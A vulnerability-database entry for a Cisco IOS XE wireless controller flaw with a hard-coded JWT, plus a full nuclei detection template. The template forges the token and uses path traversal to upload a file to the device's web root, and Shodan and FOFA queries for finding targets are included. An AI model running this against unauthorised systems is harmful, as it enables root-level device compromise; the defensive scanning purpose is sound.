HexBrain

Browse / CVEs / CVE-2025-20188

CVE-2025-20188· CWE-798

Cisco IOS XE WLC - Arbitrary File Upload

criticalseverity
10CVSS score
27.9%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.

Impact

Unauthenticated attackers can exploit hard-coded JWT tokens to upload arbitrary files and execute commands with root privileges on Cisco IOS XE WLC devices, leading to complete device compromise and potential network-wide access.

Fix

Apply the patch provided in Cisco Security Advisory cisco-sa-wlc-file-uplpd-rHZG9UfC.

How to confirm it

Send: POST /ap_spec_rec/upload/
Positive when: status_code == 401 and contains(body, 'invalid jwt string')
Send: POST /ap_spec_rec/upload/
Positive when: status_code == 200 and contains(header, 'openresty')
Send: GET /{{filename}}.txt
Positive when: status_code == 200 and contains(body, '{{string}}')

Run it with nuclei: nuclei -id CVE-2025-20188 -u <target>

The full check
id: CVE-2025-20188

info:
  name: Cisco IOS XE WLC - Arbitrary File Upload
  author: iamnoooob,pdresearch,DhiyaneshDK
  severity: critical
  description: |
    A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.
  impact: |
    Unauthenticated attackers can exploit hard-coded JWT tokens to upload arbitrary files and execute commands with root privileges on Cisco IOS XE WLC devices, leading to complete device compromise and potential network-wide access.
  remediation: |
    Apply the patch provided in Cisco Security Advisory cisco-sa-wlc-file-uplpd-rHZG9UfC.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-file-uplpd-rHZG9UfC
    - https://horizon3.ai/attack-research/attack-blogs/cisco-ios-xe-wlc-arbitrary-file-upload-vulnerability-cve-2025-20188-analysis/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-20188
    cwe-id: CWE-798
    epss-score: 0.27911
    epss-percentile: 0.98114
  metadata:
    verified: true
    max-request: 2
    fofa-query: '"IOS-Self-Signed-Certificate" && port="8443"'
    shodan-query: 'http.html_hash:1076109428 ssl.cert.issuer.cn:"IOS-Self-Signed-Certificate" port:8443'
  tags: cve,cve2025,cisco,file-upload,intrusive,rce,vkev,vuln

flow: |
    if (http(1)) {
    http(2) && http(3)
    }

variables:
  exp: "{{unix_time(10000)}}"
  secret: "notfound"
  payload: '{"reqid":"cdb_token_request_id1","exp":{{exp}}}'
  filename: "{{randbase(8)}}"
  path: "usr/binos/openresty/nginx/html/"
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /ap_spec_rec/upload/ HTTP/1.1
        Host: {{Hostname}}
        Cookie: jwt={{randstr}}
        Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
        Accept-Encoding: gzip

        --------------------------NCpI6tN3BZW3fz1Y9t2bkf
        Content-Disposition: form-data; name="file"; filename="../..{{path}}/{{filename}}.txt"
        Content-Type: text/plain

        {{string}}
        --------------------------NCpI6tN3BZW3fz1Y9t2bkf--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 401"
          - "contains(body, 'invalid jwt string')"
        condition: and
        internal: true

  - raw:
      - |
        POST /ap_spec_rec/upload/ HTTP/1.1
        Host: {{Hostname}}
        Cookie: jwt={{ generate_jwt(payload,"HS256",secret) }}
        Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
        Accept-Encoding: gzip

        --------------------------NCpI6tN3BZW3fz1Y9t2bkf
        Content-Disposition: form-data; name="file"; filename="../../{{path}}{{filename}}.txt"
        Content-Type: text/plain

        {{string}}
        --------------------------NCpI6tN3BZW3fz1Y9t2bkf--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(header, 'openresty')"
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{string}}')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from